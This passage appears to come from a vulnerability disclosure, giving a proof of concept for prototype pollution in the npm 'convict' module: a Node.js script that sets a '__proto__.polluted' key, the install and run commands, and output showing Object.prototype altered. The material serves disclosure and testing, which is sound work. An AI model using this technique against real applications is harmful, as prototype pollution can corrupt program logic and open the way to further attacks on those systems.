var convict = require("convict");
var obj = {};
var config = convict(obj);
console.log("Before : " + {}.polluted);
config.set("__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);

2. Execute the following commands in another terminal:

npm i convict # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted
